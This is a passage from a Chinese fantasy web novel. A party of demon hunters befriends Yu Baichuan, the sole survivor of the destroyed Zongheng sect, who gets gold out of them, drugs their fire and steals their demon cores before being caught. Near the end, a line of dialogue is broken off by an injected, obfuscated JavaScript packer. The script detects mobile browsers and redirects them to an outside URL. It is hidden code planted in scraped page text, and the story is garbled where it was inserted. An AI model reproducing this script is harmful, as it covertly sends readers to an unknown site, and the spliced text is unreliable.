他们带了些干粮来,在火上一烤就软和了,每个人再分一点肉就够了。肉烤的滋滋冒油,散发着焦香味。伏顺把兔肉夹在馕里,两三口就吞下了肚,感觉意犹未尽。他遗憾地说:“不知道那些妖怪的肉能不能吃,这么扔了怪可惜的。” 赵大海皱起了脸道:“算了吧,看起来挺柴的,跟甘蔗渣一样……再说那玩意儿多恶心啊,你吃什么不好非吃妖怪。” 伏顺道:“苍蝇再小也是肉啊,灾年观音土都有人吃呢。” 赵大海有点受不了他,把手里的饼塞给了他,道:“你吃点好的吧,我这块给你,别叨叨了。” 几人说着话,段星河侧过头,耳朵不知道在听什么动静,忽然道:“有人来了。” 寒风穿过树林,吹得枯枝不住摇摆。伏顺道:“哪有人?” 风停歇了,脚步声传了过来。一道长长的影子投下来,映在火堆边。 一名穿褐衣的道士从树林中走了出来。那人三十出头年纪,身体健壮结实,腰间佩着一口长剑,肩上背着个行囊,一副风尘仆仆的模样。 他抬手向他们行了个子午礼,道:“几位道友请了。天冷风寒,能否让在下一起烤一烤火?” 那道士鼻直口方,头发有些蓬乱,脸上的骨骼分明,看起来性格颇为爽朗。段星河总觉得在哪里见过他,忽然想起来了,之前自己在城里的告示牌前见过他。这人挤进去揭了告示就走,周围的人还抱怨他老是抢别人的活儿干。 看来这人也是来捉妖赚钱的。出门在外都不容易,段星河平和道:“请吧。” 那人道了一声多谢,靠着火堆坐下了。他从行囊里掏出了一张大饼,对着火堆烤得软了一些,配着一把腌的黢黑的香椿芽吃了。 来了陌生人,大家都沉默下来,也不抬杠吹牛了。木柴烧的劈啪作响,显得格外安静。在火边坐了片刻,那人身上暖和起来,心情也好多了。他开口道:“天这么黑,我一个人怕遇上伥鬼,幸亏遇见了你们,多谢几位收留了。” 段星河道:“不是说月圆的日子伥鬼才会出来么?” 那人道:“一般来说是这样,但也有些在外头游荡的。那玩意儿难对付得很,还是谨慎一点的好。” 段星河想了想,道:“你见过伥鬼么?” 那人咬了一口大饼,腮里鼓鼓囊囊地道:“见过一次,幸亏我跑得快。玄武山那边最多,据说是长生观的那帮臭道士养的。一帮道貌岸然的玩意儿,仗着祖上给大幽皇帝进贡过几张擦屁股纸,混的人模狗样的,暗地里不知道害了多少人呢!” 他说的厕纸,应该就是那本长生经。众人互相看了一眼,没想到他也吃过长生观那帮人的亏。伏顺忍不住道:“我们刚从那边过来,差点也被他们杀了。” 那人一诧,顿时生出了同病相怜的心情,道:“是吧,那帮臭道士一天到晚吃斋念经的,没事就跟磕头虫似的忏悔,谁知道他们白天晚上两副面孔呢。” 他的心情十分愤慨,一副找到难兄难弟的模样。段星河自从被长生观的人坑过之后,戒备心比以前强多了,没多说什么。他道:“兄台在外行走,见过这个人么?” 他从怀里掏出魏小雨的画像,那人看了一眼,摇了摇头道:“没见过。” 段星河也没抱太大的希望,只是照例问一问,他收起羊皮,轻轻叹了口气。那人道:“这是谁?” 段星河道:“这是我的小师妹,前段时间我们走散了,一直在找她。” 那人的神色凝重,道:“肯定能找到的。” 虽然是客气话,却也包含了善意。段星河淡淡一笑,道:“多谢。” 聊了这几句,气氛融洽了一些。那人道:“我看几位仪表不凡,是从哪里来的,怎么在荒郊野外过夜?” 段星河道:“我们是从大幽都城来的,路上没盘缠了,抓妖换点钱花。” 对方笑了,道:“钦天监的大人也缺钱吗,朝廷对你们可真够小气的。” 段星河今天只穿了一件墨蓝色的圆领袍,没穿官服,不知道他是怎么认出来的。那人指着伏顺的腰牌道:“这牌子这么精致,我老远就看见了。” 伏顺自从当了官,时刻都把腰牌挂在身上,生怕别人不知道。既然被看出来了,段星河也就不隐瞒了,道:“在下段星河,在钦天监供职。不知阁下在何处修行?” 那人抱拳道:“我叫于百川,是鬼谷宗纵横派的人。” 众人没听说过,纷纷看李玉真,把他当成了百晓生。李玉真寻思了一下,脸色忽然变了,道:“纵横派……啊,你们前阵子不是……” 于百川从腰间摘下了水囊,喝了一口酒道:“没了,倾巢覆灭。” 他的神色落寞,哑声道:“一共一百零八个人,只剩下我一个了。” 众人都十分惊讶,段星河道:“抱歉,我们不是有意冒犯的。” 于百川摇了摇头,道:“没事,不知者不怪。” 他的神色平静,已经过了最难的那段时间,没有多少悲哀了。在这个乱世,各股势力交错倾轧,难免有宗门成为牺牲品。他一手搭在膝上,道:“大幽的皇帝不是什么好人,最擅长卸磨杀驴,忘恩负义。你们为他做事,还是暗中留一手的好。” 李玉真道:“你们门派原来不也是为大幽皇帝做事的么?” 于百川道:“是啊,所以我才不想让你们重蹈纵横派的覆辙。” 众人互相看了一眼,不知道发生了什么事。夜色浓重,篝火照在众人脸上,光影不住跳跃。段星河道:“于兄这话是什么意思,可否明示?” 于百川一想起那些事就愤懑,道:“说来话长,我师父叫澜沧先生,他学识渊博,四十年前融汇百家之长,创下了纵横派。说来你们可能不信,我师父是从另一个世界来的。他原来的世界到处都是战乱,民不聊生。他家里人都死了,他为了逃难躲进了深山里,却没想到来到了这里。” 他看了众人一眼,不知道他们会不会以为自己是异想天开。李玉真却道:“我相信你,我知道有另一个世界,我师父带我去过。” 段星河和步云邪对视了一眼,觉得这人没有恶意。段星河道:“我们就是从外头过来历练的。” 于百川一诧,显得有些惊喜。以前师父跟弟子们说起这些事的时候,他们还半信半疑的,以为是老人家异想天开。师父说这世上有些人是从外界来的,那边的世界虽然没有这边的灵力强大,知识文化却十分繁荣。 于百川有些向往,道:“那你们一定见识过百家争鸣的盛况了?” 步云邪的星垂殿里有许多藏书,诸子百家无所不包。他道:“那都是几百年前的事了,我们没亲眼见过,但有不少典籍流传下来。” 于百川遇上了能理解自己的人,浑身放松下来。他拨着篝火道:“我师父只是个寻常的读书人,没有什么神通,凭着三寸不烂之舌游走于各个国家之间做说客,也做生意。我们这派供奉的祖师爷叫鬼谷子,据说他额前有四颗肉痣,成鬼宿之相,你们听过他们没有?” 步云邪微微一笑,道:“鬼谷子是谋圣,智慧深不可测,外面的人都知道他。” 于百川很是自豪,道:“几十年前大幽和大新之间势同水火,两国边境常发生战争。我师父亲自出马,说服大新与大幽签订盟约,这才使两国渐渐安稳下来。后来我师父又代表大幽北上跟燕丘签订了和平盟约,让两国百姓能安居乐业。” 众人都十分惊讶,步云邪道:“尊师立下了这等奇功,应该身居高位吧?” 于百川叹了口气,道:“先帝对他特别赏识,拜他为丞相,我们纵横派也享了十年尊荣。但当今皇帝尊崇道家,对我师父十分冷淡。我师父便退隐辞官,回到了长息郡养老。他近二十年来著书立说,收了不少弟子。我入门的时候,纵横派已经没落了,师父年事已高,师兄弟们平日里自己耕种、修道,缺钱的时候,我们也出去做一点生意,过日子是不愁的。” 李玉真想起来了,道:“去年北边发大水,趁机倒粮食的就是你们吧?” 于百川搔了搔头,道:“灾时粮食都贵,我们比商人卖的便宜了一半,已经很良心了。” 比起长生观的那些邪修来说,他们确实算是正派之人了。段星河道:“后来呢?” 于百川黯然道:“前阵子西南边境又起了冲突,庆熙帝早就想撕毁协议了,就对大新发起了战争。结果大新这几年秣马厉兵,比从前厉害多了。庆熙帝吃了几场败仗,这才又想起我师父了,召他入京商讨对策。我师父去之前就知道自己大限已至了,让我们赶紧逃走。大家本来以为没那么严重,结果师父进宫见了庆熙帝,与他分析大势,说错在我方不该先撕毁协议,如今要再和谈也难了。庆熙帝恼羞成怒,便让人把他……把他砍了。” 他声音哽咽了,红了眼圈。其他人十分震惊,一时间说不出话来。一个为国家立过大功的老臣,庆熙帝说杀就杀,这人实在够狠的。 于百川哑声道:“我师父死后,大幽连败数仗,丢了两个郡。皇帝差点气死,事后清算追责到了我们纵横派头上,直接派兵把我们灭了门,只有我和几个师弟侥幸逃了出来。兄弟们东躲西藏了几个月,又死了两三个人,偌大一个门派,如今只剩下我一个人了。” 他外表看起来大大咧咧的,没想到有过这么不幸的遭遇。若是换成别人,应该就一蹶不振了,但他还强撑着没有垮下去。于百川擦了一下眼睛,沉声道:“我这大半年里到处寻访,暗中调查过了,这次的战争是有人在背后操纵的。” 李玉真微微皱眉,之前的那场战乱对大新也造成了极大的影响。他父亲为了占国运,好几天没睡,京城里到处都人心惶惶的,有些人甚至想举家搬迁到巴蜀去。他道:“不是庆熙帝自己想打的么?” 于百川恨声道:“庆熙老头儿虽然可恨,但他之所以 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于百川显得有些沉重,道:“你们是外来的,有所不知。万象门修的是邪道,世间的阴邪之气少,邪修就难以修炼。他们要供奉虺神,就要制造大量的负面情绪。而战争,就是产生痛苦最快的方式。” 大家没想到那些邪修为了一己私利,居然能掀起这么大的风浪,对百姓来说也太残忍了。段星河道:“那你接下来有什么打算?” 于百川眉头深深地皱着,握紧了拳头道:“纵横派只剩下我一个人了,我得重建门派,为师父和师兄弟报仇。我师父毕生的愿望就是天下太平,这也是我们纵横派的宗旨,我要把这个理念传承下去!” 这个理想虽然远大,有个奔头也是件好事。要不然他孤身一人在这乱世,没点念想实在很难活下去。 伏顺听他说了一堆大道理,脑子里依然没有什么概念,道:“天下太平,听起来挺宏大的,你们怎么实现这个目标?” 从前也有不少人这样质疑过他们。于百川的嘴角勾起来,眼神里露出了一点狡黠的光,道:“凭心术。” “心术?” “对,”于百川说到了擅长的事,连珠炮似地道,“凭心术去权衡利弊,算计得失,掌握一切有利的情报,切中对方的要害,说服对方,从而获得利益。说服不成,就以霸道征服对方——只要目标正确,可以不择手段!” 他说起这些来,眼睛亮了起来,对自己信奉的东西充满了热忱。 他道:“我师父对于人心很有研究,他常说人活着,得一半君子一半小人。坏人坏,咱们就得比坏人更坏。可以用手段达成目的,不要被假仁假义困住。但若是能用假仁假义去困住别人,那倒是好得很。” 段星河笑了,觉得他师父的话有点意思,不是个老古板。于百川跟他聊得兴起,道:“兄弟,我跟你有缘,我们门派的心法你拿去看一看!” 他解开包袱,里头有一摞册子,见人就发。他的门派没了,只能找一切机会招纳新人。段星河接过来,见书不算厚,蓝色的封皮上写着《利辨经》三个大字。他打开翻了翻,书分上下两卷。上卷叫利经,教人如何权衡利弊、趋利避害。下卷叫辨经,记录了相人之法以及与人打交道的话术。 他道:“这书是贵派的秘籍,我一个外人看合适么?” 于百川大方道:“我纵横派的智慧浩如烟海,这只是九牛一毛而已。我师父写了不少书,只能给内门弟子看,这本最为入世,就当是度人的筏子。你看的进去就说明咱们有缘,来日要是不想给朝廷当鹰犬了,随时欢迎来我们纵横派。” 段星河没回答,大幽的皇帝虽然不靠谱,至少钦天监给发皇粮,还有免费的驿馆住。跟着于百川风餐露宿的,三天饿九顿,傻子也不选他。 夜渐渐深了,伏顺打了个呵欠,站起来道:“大师兄,你们聊,我先去睡了。” 赵大海赶了一天车累了,也回帐篷去了。步云邪和李玉真又坐了一会儿,实在撑不住了,道:“我们也去睡了,别聊太晚。” 段星河道:“没事,我值夜,后半夜再睡。” 篝火不住跳动,于百川一手搭在膝盖上,他的皮肤风吹日晒的有些粗糙,下巴上生着参差不齐的胡茬,精神却很不错。自从师门遭遇不幸之后,他很久都没这样跟人畅所欲言了。 段星河道:“我之前在城里见过你,你一直在接任务么?” 于百川抢任务在这一带都出名了,所过之处寸草不生。本来有他一个就够其他人埋怨的了,段星河一来,有几张告示揭几张,跟于百川很有些不相上下的贪心劲儿。 于百川也没有不好意思,道:“挣钱嘛,不寒碜。要复兴门派,不赚钱怎么买地招人?前阵子接了个任务,要打一百只灯笼妖,我到现在才攒了八十多根灯芯,这不上这里来碰碰运气么,你们呢?” 段星河道:“杀赤藤妖。” 于百川道:“那家伙好杀,慢慢来就行了。” 段星河的目光一动,觉得他可能会对另外一张告示感兴趣,道:“我师弟还接了个杀三尾狐的任务,赏金二百两银子。你要么,二两银子转让给你。” 于百川笑了,道:“好兄弟,学得挺快啊,这就做起我的生意来了。” 段星河扬眉道:“要不要?” “三尾狐啊……”于百川寻思了一下,虽然觉得赏银很有诱惑力,但没有金刚钻揽不了这瓷器活。他道:“算了吧,那玩意儿我一个人打不过,万一死了就亏了。门派复兴的大业还在我肩膀上呢,我可得好好活着。” 猫头鹰咕咕地叫了几声,悄无声息地飞走了。于百川自己背着睡袋,从行囊里掏出来,躺在了火堆边。段星河睡不着,打开利辨经看了起来。 火光照在他脸上,段星河脸侧的碎发垂下来,读书时分外沉静。书上写的东西虽然不是修炼之法,但都是宝贵的处世之道。若是能灵活运用,行走江湖时能少吃许多亏。 段星河翻了一页,于百川从睡袋里探出头,道:“怎么样?” 段星河的眼睛没离开书,道:“不错。” 于百川得意道:“我们鬼谷宗的书自然很不错。你若是想学更深奥的心术,翻手为云覆手为雨,不如加入我们?” 段星河微微扬起嘴角,道:“我有师承的,巴蜀逍遥观,听过没?” “没关系,”于百川道,“我们纵横派兼容并包,就算不退原来的门派,也可以加入我们。” 他现在是光杆儿司令,见人就想拉人头。段星河觉得这本书就够自己看一阵子的了,敷衍道:“再说、再说。” 书上说与人相交,得先认识到自己的价值所在,知道自己能为别人提供什么益处,同时衡量对方能给自己带来多少益处。权衡利弊不但能够趋利避害,还能够切中目的跟对方交流,小到做生意、大到两国谈判,都用得上。 权衡利弊的方法叫做揣情,最好的方法是提前收集情报。如果意外相遇,就要迅速获得对方的信息。观其气象、衣着、言谈,就能分析出很多东西来,比如出身、修为高低、人际关系。而跟三教九流的人打交道的方法,也记在书上。 火光照亮了书上的文字,上头写着:“与智者言,依于博;与辨者言,依于要;与贵者言,依于势;与富者言,依于高;与贫者言,依于利;与勇者言,依于敢……” 他如同醍醐灌顶,喃喃道:“有道理。” 段星河替师娘下山采买,经常跟市井之人讨价还价,知道谈生意得抓住别人想要什么。看了书中所述,觉得自己的想法更清晰了。遇到不易抉择之事,两害相权取其轻,两利相权取其重。 再往后翻,还有钩箝术、飞箝术等,都是操纵人心的方法。他翻到最后一页,见上头写着一行字。 “机心为术,需以道心统御。若不能制,术愈高,行愈偏。望后人以此术行正道,方不负我门宗旨。” 他叹了口气,觉得鬼谷一宗确实十分了得,这本书没事多读一读很有好处。于百川还没睡着,躺在睡袋里探头道:“兄弟,我最近一直在攒钱,打算换个地方重建门派,招点人,再设几个驿站建立消息网,你觉得怎么样?” 段星河感觉他话里藏着后招,道:“挺好的。” 于百川搓了搓手道:“那你看要不要投点资,等我纵横派复兴了,你就是中兴的大功臣了。” 他说了半天,总算露出了狐狸尾巴。段星河淡淡道:“有我什么好处?” “好处可大了,”于百川豪情万丈道,“祠堂里画一个你的像挂着,以后收弟子都得跟你磕头!” 段星河笑了,道:“那有什么用。” 于百川搔了搔头,觉得不顶吃不顶喝的,是没多少实际的用途。他道:“以后我建立了消息网,终身免费给你提供消息,保证你对天下大事了如指掌。” 有可靠的第一手消息,就能挣到别人挣不到的钱,占到别人占不到的先机,确实很有诱惑力。 “这还有点用,”段星河道,“不过可惜我没钱,要是有钱我还出来做什么任务?” 于百川露出了一点狡猾的笑容,道:“你们有金子吧?” 段星河有点奇怪,自己又没露白,他是怎么知道的。于百川看他的反应就知道自己猜的不错,耸了耸鼻子道:“我能感觉的到,酉金珠玉之气,还挺纯呢。” 他抬起手,指了指段星河身后的帐篷,里头映着几个箱笼的影子。他自信道:“就在那里头,大几百两金锭子,是不是?” 16.纵横派 三 之前在长生观,他们便是无意间说了有千年人参的事,就被人惦记上了。众人打那以后对钱财都十分谨慎,不敢让人知道他们身上带了什么。然而于百川长着个狗鼻子,连金子的味儿都闻得出来。 段星河想起了鬼谷一宗讲究见人要先观气象,有好处才打交道。难怪他一来就跟自己套近乎,原来是一早就感到黄金的气息了。 朝廷给的金子还没花,段星河跟他学了不少东西,就当交学费了。他从行囊里掏出一锭金子,小小的一个元宝就有二十两。于百川接过去在身上蹭了蹭,欢喜地揣进了怀里,道:“最低一百两入股。” 段星河脸色微微一沉,道:“你差不多得了。” 于百川讨价还价地说:“那就五十两。以后我的小弟就是你的小弟,指哪打哪,你想想不合算吗?” 段星河看了一眼利辨经,觉得这一门若是就此覆灭了,实在可惜。于百川现在是最艰难的时候,说不定帮他一把纵横派就复苏了。他便又拿了一锭黄金递给他,道:“就这些了。” 于百川连忙把钱揣了起来,从睡袋里钻出来,盘腿坐在地上。他从衣襟上撕下了一块布,从行囊里掏出一只枯笔,含在嘴里润了润,道:“好兄弟,我给你写个证明。以后你就是我们纵横派第二代的名誉弟子了!” 他一直在外捉妖,衣袍上满是污渍,撕的破破烂烂的。段星河看他凭据写的十分熟练,不知道他给多少人画过大饼了。于百川写完了,把破布递给了他。上面写着:段星河为纵横派复兴捐献四十两黄金,今日起入鬼谷宗为纵横派二代第二百三十九名弟子,引荐人,二代第六十三名弟子于百川。 段星河感觉自己被他占了便宜,道:“我没说要加入纵横派啊,你这么写我不成你师弟了?” 于百川大大咧咧地说:“哎不要计较这些了,现在捐钱的才能当二代弟子,以后再收的都只能是三代弟子了。我这不是想让后来的弟子给你磕头,喊你一声小师叔么。” 段星河拿他没办法,把那张破布收了起来。于百川凭借口才就赚了四十两黄金,心情好的不得了,钻回了睡袋里道:“好兄弟,早点休息。” 段星河也有点困了,坐在火堆边打了一会儿瞌睡,不知不觉天就亮了。 次日一早,众人起来继续抓妖。于百川忙着做自己的任务,跟他们井水不犯河水。到了晚上,大家凑在一起,清点今天打到的妖物。伏顺把几枚赤藤妖晶递过来,道:“我和大傻杀了三只。” 段星河一天就杀了八只,李玉真杀了三只,步云邪杀了五只,众人把赤红色的内丹都交给了段星河保管。步云邪到处张望,道:“墨墨呢?” 段星河拨弄着篝火,道:“不是跟你在一起吗?” 步云邪道:“刚才它自己飞走了,我以为它去找你们了。” 段星河道:“没有啊。” 他说着站起来,打算去找找它,就见墨墨摇摇晃晃地飞过来了。它的鼻子里插着半截枯藤,身上也被藤子紧紧地缠着,十分慌张。它一头栽进段星河的怀里,咕咕地求救,却是被一只赤藤妖钻进了鼻子里。 赤藤妖十分能钻,经常通过七窍钻进动物的身体里吸血、掏内脏吃,祸害完了就从肛/门里爬出来。众人见了那情形,登时都汗毛倒竖起来。段星河皱起了眉头,一手攥住赤藤妖的尾巴,用力一拽,缓缓地把它从墨墨的鼻孔里扯了出来。 赤藤妖发出嘶哑的嚎叫,不愿意放弃这个宿主,还想钻回去。段星河用力一拧,像拧麻花似的把它拧成了两截,褐色的粘液流淌出来。 赤藤妖挣扎了一阵子,终于断了气。段星河从它肚子里掏出了内丹,扔进了篓子里,道:“让你别乱跑,知道怕了吧。” 伏顺踢了一脚赤藤妖的尸体,道:“这玩意儿有洞就钻,太恶心了!” 墨墨扑着翅膀飞到了步云邪身边,长鼻子里流出了血。步云邪给它涂了点生肌止血的膏药,摸了摸它的脑袋,安慰道:“没事了。” 于百川在一旁看着,觉得这小家伙十分有趣。他掰下了一块饼递给它,墨墨鼻子疼得厉害,没心情吃东西,黑豆眼里渗出了一点眼泪。李玉真闲来无事,掏出一截绷带道:“来,我给你包扎一下。” 赵大海道:“它伤在鼻子里,绷带有什么用?” 他说着,就见李玉真慢条斯理地在它的长鼻子上打了个蝴蝶结,伸手拨弄了一下,道:“好看的很,别哭了嗷。” 墨墨不知道他是在糊弄自己,翘起长鼻子晃了晃,觉得很新鲜,也就忘了害怕的事了。 李玉真道:“于兄今天收获多少?” 于百川悠然道:“打了八只灯笼妖,快完成任务了,你们呢?” 李玉真道:“我们也快了,再有两三天吧。” 这荒郊野地里妖兽格外多,一般人对这里避之不及,对于他们这些穷修道的来说,却是除妖挣钱的好地方。 步云邪想着刚才赤藤妖钻墨墨鼻孔的情形,倒是提醒了自己要多加防范。他在营地周围洒下了朱砂和雄黄,无论是妖物还是毒虫都不敢靠近。大家这便放下心来,围着篝火睡下了。 一连过了三天,没再出现意外。这天傍晚,段星河坐在篝火边,把自己这些天打来的赤藤妖晶数了一遍,一共五十八枚。这种妖物吸收了不少灵植和生物的灵力,内丹是增补精元的好药。他把多出来的给了步云邪,道:“你拿着炼丹用吧。” 于百川坐在一旁拨弄着自己篓子里的灯芯,任务也做得差不多了,有人从他身边经过,他便把篓子捂了起来,生怕别人惦记似的。 大家知道他缺钱,做任务也不容易,没计较这些小事。平时大家晚上聚在一起,吃饭的时候总要聊一会儿天,吹几句牛皮。于百川最爱说自己去过许多地方,见识过各种奇特的妖物,今天却也不说了,好像有什么心事似的。 伏顺摊开了手脚,放松道:“明天就能回城了,领了赏金回驿馆,好好洗个热水澡,再吃顿热乎饭。” 赵大海也道:“回去就能好好睡一觉了,在这里过夜,老怕有东西钻我鼻孔。” 段星河道:“于兄,明天你回城么?” 于百川眼睛来回动了几下,含糊道:“我任务还没做完,再说吧。” 段星河刚才看他篓子里满满当当的,应该差不多了。但他既然不想跟自己同路,也由得他。 众人收拾了行囊,准备天一亮就回去交任务。段星河守在篝火边睡着了,夜晚营地里静悄悄的,唯有夜枭咕咕的叫声从远处传来。于百川睁开了眼,从怀里掏出了不知什么东西,悄悄地撒在了火堆里。 白色的烟雾升腾起来,淡淡的香气弥漫开。段星河微微皱起了眉头,仿佛感到了异样,片刻却睡得更沉了。 太阳升起来了,众人渐渐醒过来。段星河平日里卯时就该醒了,今天不但睡过了头,而且觉得昏昏沉沉的。步云邪从帐篷里出来,道:“什么时候了,怎么不叫我?” 段星河揉着眼道:“我也刚醒。” 他转头去摸行囊,想拿点东西吃,忽然发现盛赤藤妖晶的篓子不见了,身上的告示也少了一张。他的脸色陡然变了,站起来到处寻找,大声道:“顺子,你看见我的篓子了没?” 伏顺刚去树林里小解回来,一脸茫然道:“没有啊。” 步云邪皱起了眉头,道:“东西呢?” 段星河道:“我一直在身边放着的,怎么会没有了?” 他们辛辛苦苦打了这么多天,才攒了五十来个赤藤妖晶,一下子全没了,众人的心都沉了下去。于百川此时也不见了踪影,段星河心中生出了不好的猜测,该不会是被他拿去了吧? 赵大海在附近找了一圈,忽然大声道:“这里有字!” 泥地上用树枝划拉了几行字,其他人凑过来一看,见地上写着:“好兄弟,你的赤藤妖晶我拿去一用。盗亦有道,你身上的钱我没动。我在火里加了点催眠的香料,对身体没有大碍,就当是哥哥欠你个人情,以后一定还——于百川。” 好他个盗亦有道,在火里下迷香他还觉得自己是个好人了。段星河头上暴起了青筋,恨不能给他两拳。昨晚自己就睡在篝火旁边,吸入的迷药最多,此时头疼的也最厉害。他恼火道:“这个混蛋,他穷疯了是吧!” 五十两赏银够他们生活好一阵子了,这一被于百川截了胡,吃饭都要没指望了。 伏顺感到了生存危机,道:“咱们还有钱吗,要挖野菜吃了吗?” 李玉真也生气了,道:“这人怎么这样啊,亏大家把他当朋友,他居然下迷药偷咱们东西!” 他们一群愣头青自从来到这里,被不少人坑过了。先是被抓壮丁关到了采石场,又差点被长生观的臭道士谋财害命,现在连于百川这个浓眉大眼的也骗了他们,这破世道真是没指望了。 赵大海搔了搔头,道:“大师兄,怎么办?” 他们费了这么大力气干活儿,岂能让于百川占了便宜。段星河咬牙切齿道:“他肯定去凌烟阁领赏钱了,赶紧回城堵他,快!” 于百川拿着一包沉甸甸的银子,上下抛了抛,愉快地揣进了自己的包袱里。等段星河他们醒过来,自己就离开这里了。虽然这么做有点对不起兄弟,但自己实在缺钱。为了复兴纵横派的大业,他只好做一点不光彩的事了。 他出了凌烟阁,打算先去吃顿好的犒劳犒劳自己,剩下的钱就好好存起来。他正寻思着中午去饭馆是点三个菜还是四个菜好,就见段星河带着一群人从街对面过来了。 众人一见他,顿时睁大了眼。伏顺抬手一指:“在那里!” 段星河道:“拦住他!” 一群人朝他冲了过来,于百川也慌了,没想到他们的身体还挺壮实的,吸入了那么多迷药这么快就醒了。他拔腿就跑,段星河带着人在后头狂追,一边喊道:“站住!” 于百川一路飞奔,跑过了三条街,后头那群人紧追不放。路上的行人扭头看着他们,都十分奇怪。于百川往路边的胡同道里一钻,想抄小路逃走。他跑到巷子尽头,却见眼前一黑,赵大海和伏顺出现在了巷子对面,却是分兵两路来逮他。 他往后退了一步,段星河等人从后面撵了过来,黑压压的一群人把他堵在了中间。 伏顺叉着腰道:“小贼,你上哪去!” 赵大海道:“就是,上哪去!” 于百川知道自己跑不了了,嗓子疼的直冒烟,喘着气道:“好了好了,我不跑了,有话好好说。” 段星河也跑的够呛,一手撑着墙道:“赤藤妖晶呢?” 于百川有点尴尬,道:“任务已经交了。” 段星河就知道是这样,皱眉道:“钱拿来!” 于百川一向是个很有原则的人,为了复兴大业他的脸可以不要,进了口袋的钱死也不会拿出来。他赔笑道:“好兄弟,哥哥实在缺钱,你就当帮我忙了行不行。” 大家都是飘零人,谁也没有本事接济谁。段星河听够了他这一套,把脸一沉道:“我这钱是凭本事挣的,你凭什么抢?” 于百川诚恳道:“好兄弟,这笔钱就当是你捐的,我也给你记在账上了。以后你就是咱们纵横派最尊贵的师叔。我老大,你老二,再入股的都只能往后排。” 段星河怀疑除了自己这个冤大头,也没有别人会入股。于百川却忽然提气一纵,要翻墙逃走。步云邪早就盯着他了,登时挥手道:“去——” 墨墨像个小炸弹似的冲了过去,张开大嘴,一口咬住了他的脚后跟。于百川疼的嗷的一声叫,两条腿不住踢蹬,扭头道:“小崽子,松口!” 墨墨死不撒口,硬生生地把他从墙头上拽下来了。于百川一屁股坐在地上,摔的龇牙咧嘴的。墨墨一个劲儿地呸呸呸,也不知道这人多久没洗脚了,把孩子熏成这样。 伏顺见他身后背着个大包袱,还有一个小包袱,寻思着小包袱里应该装的是钱。他一把抢过来道:“这是什么,给我看看!” 他打开包袱皮,众人围过来一看,却见是两个盒子。伏顺揭开盒盖,道:“你把钱藏在里头了是不是?” 李玉真看着不对劲,道:“哎,等等——” 盒子一打开,里头是半盒白灰,这竟是个骨灰盒。 伏顺反应过来了,吓了一跳,连忙道:“对不起,我不是故意冒犯的!” 他手一哆嗦,一撮灰落在了地上。伏顺的脸都白了,连忙蹲下收拾,一点点地捏了回去,一边道:“对不起对不起,阿弥陀佛,福生无量天尊,您大人有大量,千万别跟我计较!” 其他人都觉得十分抱歉,本来只想把自己的辛苦钱讨回来,没想到冒犯了死者。赵大海道:“你随身背着骨灰干什么?” 于百川坐在地上,幽幽地说:“纵横派被灭了门,我的师兄弟们都死了,我得给他们爹娘送抚恤钱,还有这两盒骨灰就送完了。入门的时候说得好好的,每年给十两银子的补助。还没挣到钱呢,人就没了,他们的爹娘得多难过啊……” 众人都觉得自己太过分了,于百川虽然坑蒙拐骗的,却也只是为了凑一点抚恤钱,好让那些失去孩子的父母不至于活不下去。 段星河心里十分愧疚,觉得自己要是再难为他,以后半夜想起这件事,都要爬起来抽自己俩耳光。他道:“算了,这钱你拿去吧,算我送你的。” 于百川垂着头,轻轻道:“好,我替我死去的师弟们多谢你。” 步云邪一直没说话,蹲下在残余的白灰上蹭了蹭,手指一划拉,在地上画出了条杠。 他捻了捻手指,道:“这不是骨灰吧,哪有这么细的?” 于百川站起来,看了一眼盒子上的名字,道:“喔,这盒里有石灰,也有些真的骨灰。之前我在路上被官兵追杀,实在跑不了了,就把骨灰扬了那些人一头,只剩了一点底儿。我怕拿回去不好交差,就从路边刮了点抹墙的白灰掺在里头。” 众人:“……” 于百川被看得不自在,讪讪道:“这是我小师弟的骨灰,他一向跟我关系不错。遇到危险帮我挡一下,我想他应该不会怪我的……吧?” 段星河无言以对,这人的境遇说困难是真的困难,但做的事又不怎么靠谱。纵横派只剩下他一个人了,宗门复兴的大业落在这样一个人身上,实在是前途渺茫。 于百川收拾起了骨灰盒,一边道:“对不起师弟,这些是我刚认识的朋友。他们没见过你,也不是故意的,千万别生气哦。” 他对着骨灰唠唠叨叨的,透着一股瘆人劲儿,众人也不敢说话。片刻于百川背上了包袱,又恢复了平时嬉笑怒骂的模样。 于百川知道他们挣钱不容易,也不白占他们的便宜。他正色道:“兄弟,多承你高抬贵手,我送给你个情报吧。凌烟阁的拍卖会上有不少天材地宝,说不定就有你们需要的那什么雷震子,抽空去看一看,说不定会有收获。” 段星河的心思微微一动,跟步云邪对视了一眼,觉得这倒是个有用的信息。段星河道:“你去么?” 于百川想了一下,道:“去凑个热闹也行,反正我也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13276420|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急着走。” 拍卖会就在三天后了,段星河道:“那就去看一眼。” 于百川拍去了身上的尘土,道:“好兄弟,你住的地儿还有空没有,能带我挤一挤么?” 住店一天要花不少钱,他知道钦天监的人住驿馆免费,不蹭白不蹭。 段星河道:“那是大幽朝廷的地盘,你敢去?” 于百川自信道:“凡事灯下黑,他们认不出我来的。” 他摩拳擦掌的,打算混进去大吃一顿,好好花一花朝廷的钱,出口恶气。这一路上也没见朝廷通缉他,大不了有事就跟他划清界限。段星河看了他一眼,道:“那你自个儿小心点,风头不对赶紧跑路。” 于百川摆出一副正经的态度,道:“放心,哥哥是见过世面的人,保证不给你们添麻烦!” 段星河等人回到了驿馆,驿丞连忙给他们准备了热饭菜,又有人给他们抬来了热水。于百川泡在热水桶里,长叹了一口气,道:“唉……以前纵横派风光的时候,皇帝也这么待见我们,要什么给什么,可惜后来都没了。荣华富贵如云烟,段兄你可得早点为自己打算,别走了我们的老路,后悔都来不及。” 段星河靠在床头,正在看这片大陆的地图,心不在焉地嗯了一声。这些事他早就想过了,反正自己也没打算在这边久留,找到了小师妹就回去。有钱就顺手挣一笔,没钱也能凑合着过。 